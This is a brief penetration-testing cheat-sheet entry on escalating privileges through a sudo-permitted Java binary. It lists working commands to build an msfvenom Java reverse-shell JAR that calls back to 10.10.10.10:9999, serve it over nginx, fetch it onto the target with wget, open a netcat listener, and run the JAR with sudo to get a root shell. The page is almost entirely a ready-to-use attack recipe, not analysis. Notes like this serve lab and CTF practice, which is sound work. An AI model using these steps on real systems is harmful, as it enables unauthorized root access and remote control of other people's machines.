# /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7\_7.x86\_64/jre/bin/java

a)craft a reverse shell payload with msfvenom&#x20;

`sudo msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=9999 -f jar -o reverse.jat`

b) Move into a jar file&#x20;

`sudo mv reverse.jat reverse.jar`

c)

&#x20;`sudo mv reverse.jar /var/www/html`

d) Start an nginx server for deployment on target&#x20;

&#x20;`sudo service nginx start`

e) From target, wget the payload&#x20;

&#x20;`wget http://10.10.10.10/reverse.jar`

f) From kali start a listener&#x20;

&#x20;`nc -nvlp 9999`

g) Trigger the exploit from target&#x20;

`sudo /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64/jre/bin/java -jar /tmp/reverse.jar`
